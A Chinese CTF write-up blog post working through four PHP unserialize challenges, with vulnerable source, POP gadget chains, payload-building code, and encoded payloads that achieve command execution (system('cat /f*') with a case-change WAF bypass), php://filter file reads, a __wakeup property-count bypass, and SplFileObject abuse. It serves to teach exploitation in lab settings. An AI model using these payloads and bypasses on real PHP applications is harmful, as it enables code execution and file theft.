【Web】PHP反序列化刷题记录

[①[NISACTF 2022]babyserialize](#①[NISACTF 2022]babyserialize)

[②[NISACTF 2022]popchains](#②[NISACTF 2022]popchains)

[③[SWPUCTF 2022 新生赛]ez_ez_unserialize](#③[SWPUCTF 2022 新生赛]ez_ez_unserialize)

[④[GDOUCTF 2023]反方向的钟](#④[GDOUCTF 2023]反方向的钟)

再巩固下基础

①[NISACTF 2022]babyserialize

复制代码

<?php
include "waf.php";
class NISA{
    public $fun="show_me_flag";
    public $txw4ever;
    public function __wakeup()
    {
        if($this->fun=="show_me_flag"){
            hint();
        }
    }

    function __call($from,$val){
        $this->fun=$val[0];
    }

    public function __toString()
    {
        echo $this->fun;
        return " ";
    }
    public function __invoke()
    {
        checkcheck($this->txw4ever);
        @eval($this->txw4ever);
    }
}

class TianXiWei{
    public $ext;
    public $x;
    public function __wakeup()
    {
        $this->ext->nisa($this->x);
    }
}

class Ilovetxw{
    public $huang;
    public $su;

    public function __call($fun1,$arg){
        $this->huang->fun=$arg[0];
    }

    public function __toString(){
        $bb = $this->su;
        return $bb();
    }
}

class four{
    public $a="TXW4EVER";
    private $fun='abc';

    public function __set($name, $value)
    {
        $this->$name=$value;
        if ($this->fun = "sixsixsix"){
            strtolower($this->a);
        }
    }
}

if(isset($_GET['ser'])){
    @unserialize($_GET['ser']);
}else{
    highlight_file(__FILE__);
}

//func checkcheck($data){
//  if(preg_match(......)){
//      die(something wrong);
//  }
//}

//function hint(){
//    echo ".......";
//    die();
//}
?>

手搓链子：

复制代码

TianXiWei::__wakeup -> llovetxw::__call -> four::__set -> lloverxw::__toString -> NISA::__invoke

构造

复制代码

<?php

class NISA{
    public $fun="show_me_flag";
    public $txw4ever;
}

class TianXiWei{
    public $ext;
    public $x;
}

class Ilovetxw{
    public $huang;
    public $su;
}

class four{
    public $a="TXW4EVER";
    private $fun='sixsixsix';
}

$a=new TianXiWei();
$b=new Ilovetxw();
$c=new four();
$d=new NISA();
$d->txw4ever="system('cat /f*');";
$c->a=$b;
$b->huang=$c;
$b->su=$d;
$a->ext=$b;

echo urlencode(serialize($a));

因为存在private属性，所以要urlencode一下

payload:

?ser=O%3A9%3A%22TianXiWei%22%3A2%3A%7Bs%3A3%3A%22ext%22%3BO%3A8%3A%22Ilovetxw%22%3A2%3A%7Bs%3A5%3A%22huang%22%3BO%3A4%3A%22four%22%3A2%3A%7Bs%3A1%3A%22a%22%3Br%3A2%3Bs%3A9%3A%22%00four%00fun%22%3Bs%3A9%3A%22sixsixsix%22%3B%7Ds%3A2%3A%22su%22%3BO%3A4%3A%22NISA%22%3A2%3A%7Bs%3A3%3A%22fun%22%3Bs%3A12%3A%22show_me_flag%22%3Bs%3A8%3A%22txw4ever%22%3Bs%3A18%3A%22System%28%27cat+%2Ff%2A%27%29%3B%22%3B%7D%7Ds%3A1%3A%22x%22%3BN%3B%7D

回显

再删去="show_me_flag"即可绕过hint的die()

?ser=O%3A9%3A%22TianXiWei%22%3A2%3A%7Bs%3A3%3A%22ext%22%3BO%3A8%3A%22Ilovetxw%22%3A2%3A%7Bs%3A5%3A%22huang%22%3BO%3A4%3A%22four%22%3A2%3A%7Bs%3A1%3A%22a%22%3Br%3A2%3Bs%3A9%3A%22%00four%00fun%22%3Bs%3A9%3A%22sixsixsix%22%3B%7Ds%3A2%3A%22su%22%3BO%3A4%3A%22NISA%22%3A2%3A%7Bs%3A3%3A%22fun%22%3BN%3Bs%3A8%3A%22txw4ever%22%3Bs%3A18%3A%22system%28%27cat+%2Ff%2A%27%29%3B%22%3B%7D%7Ds%3A1%3A%22x%22%3BN%3B%7D

回显waf，右键查看源代码也没有提示

估计是关键词过滤，一个一个试，最后将system改为System即可成功命令执行

②[NISACTF 2022]popchains

复制代码

Happy New Year~ MAKE A WISH
<?php

echo 'Happy New Year~ MAKE A WISH<br>';

if(isset($_GET['wish'])){
    @unserialize($_GET['wish']);
}
else{
    $a=new Road_is_Long;
    highlight_file(__FILE__);
}
/***************************pop your 2022*****************************/

class Road_is_Long{
    public $page;
    public $string;
    public function __construct($file='index.php'){
        $this->page = $file;
    }
    public function __toString(){
        return $this->string->page;
    }

    public function __wakeup(){
        if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
            echo "You can Not Enter 2022";
            $this->page = "index.php";
        }
    }
}

class Try_Work_Hard{
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Make_a_Change{
    public $effort;
    public function __construct(){
        $this->effort = array();
    }

    public function __get($key){
        $function = $this->effort;
        return $function();
    }
}
/**********************Try to See flag.php*****************************/

搓链子

复制代码

Road_is_Long::__wakeup -> Road_is_Long::__toString -> Make_a_Change::__get -> Try_Work_Road::__invoke

构造

复制代码

<?php
class Road_is_Long{
    public $page;
    public $string;

}

class Try_Work_Hard{
    protected  $var="php://filter/convert.base64-encode/resource=/flag";
}

class Make_a_Change{
    public $effort;

} 

$a=new Road_is_Long();
$b=new Make_a_Change();
$c=new Try_Work_Hard();
$a->page=$a;
$a->string=$b;
$b->effort=$c;
echo urlencode(serialize($a));

这里的__toString方法由preg_match触发

因为存在protected属性，所以要urlencode

payload:

?wish=O%3A12%3A%22Road_is_Long%22%3A2%3A%7Bs%3A4%3A%22page%22%3Br%3A1%3Bs%3A6%3A%22string%22%3BO%3A13%3A%22Make_a_Change%22%3A1%3A%7Bs%3A6%3A%22effort%22%3BO%3A13%3A%22Try_Work_Hard%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A49%3A%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3D%2Fflag%22%3B%7D%7D%7D

base64解码即可拿到flag(这里/flag是纯文本文档，没有php标签，所以也可以直接读取)

③[SWPUCTF 2022 新生赛]ez_ez_unserialize

复制代码

<?php
class X
{
    public $x = __FILE__;
    function __construct($x)
    {
        $this->x = $x;
    }
    function __wakeup()
    {
        if ($this->x !== __FILE__) {
            $this->x = __FILE__;
        }
    }
    function __destruct()
    {
        highlight_file($this->x);
        //flag is in fllllllag.php
    }
}
if (isset($_REQUEST['x'])) {
    @unserialize($_REQUEST['x']);
} else {
    highlight_file(__FILE__);
}

一眼绕过__wakeup

复制代码

$a=new X('fllllllag.php');
echo serialize($a);

?x=O:1:"X":1:{s:1:"x";s:13:"fllllllag.php";}

改为?x=O:1:"X":2:{s:1:"x";s:13:"fllllllag.php";}即可

④[GDOUCTF 2023]反方向的钟

复制代码

<?php
error_reporting(0);
highlight_file(__FILE__);
// flag.php
class teacher{
    public $name;
    public $rank;
    private $salary;
    public function __construct($name,$rank,$salary = 10000){
        $this->name = $name;
        $this->rank = $rank;
        $this->salary = $salary;
    }
}

class classroom{
    public $name;
    public $leader;
    public function __construct($name,$leader){
        $this->name = $name;
        $this->leader = $leader;
    }
    public function hahaha(){
        if($this->name != 'one class' or $this->leader->name != 'ing' or $this->leader->rank !='department'){
            return False;
        }
        else{
            return True;
        }
    }
}

class school{
    public $department;
    public $headmaster;
    public function __construct($department,$ceo){
        $this->department = $department;
        $this->headmaster = $ceo;
    }
    public function IPO(){
        if($this->headmaster == 'ong'){
            echo "Pretty Good ! Ctfer!\n";
            echo new $_POST['a']($_POST['b']);
        }
    }
    public function __wakeup(){
        if($this->department->hahaha()) {
            $this->IPO();
        }
    }
}

if(isset($_GET['d'])){
    unserialize(base64_decode($_GET['d']));
}
?>

搓链子

复制代码

school::__wakeup()-->classroom::hahaha()-->school::IPO()

构造

复制代码

$a=new school();
$b=new classroom();
$c=new teacher();
$b->name="one class";
$b->leader=$c;
$c->name="ing";
$c->rank="department";
$a->department=$b;
$a->headmaster="ong";
echo base64_encode(serialize($a));

payload:

?d=Tzo2OiJzY2hvb2wiOjI6e3M6MTA6ImRlcGFydG1lbnQiO086OToiY2xhc3Nyb29tIjoyOntzOjQ6Im5hbWUiO3M6OToib25lIGNsYXNzIjtzOjY6ImxlYWRlciI7Tzo3OiJ0ZWFjaGVyIjozOntzOjQ6Im5hbWUiO3M6MzoiaW5nIjtzOjQ6InJhbmsiO3M6MTA6ImRlcGFydG1lbnQiO3M6MTU6IgB0ZWFjaGVyAHNhbGFyeSI7Tjt9fXM6MTA6ImhlYWRtYXN0ZXIiO3M6Mzoib25nIjt9

回显

说明构造成功

利用原生类SplFileObject读取文件

PHP原生类及其应用

post传参：

a=SplFileObject&b=php://filter/read=convert.base64-encode/resource=flag.php

base64解码后拿到flag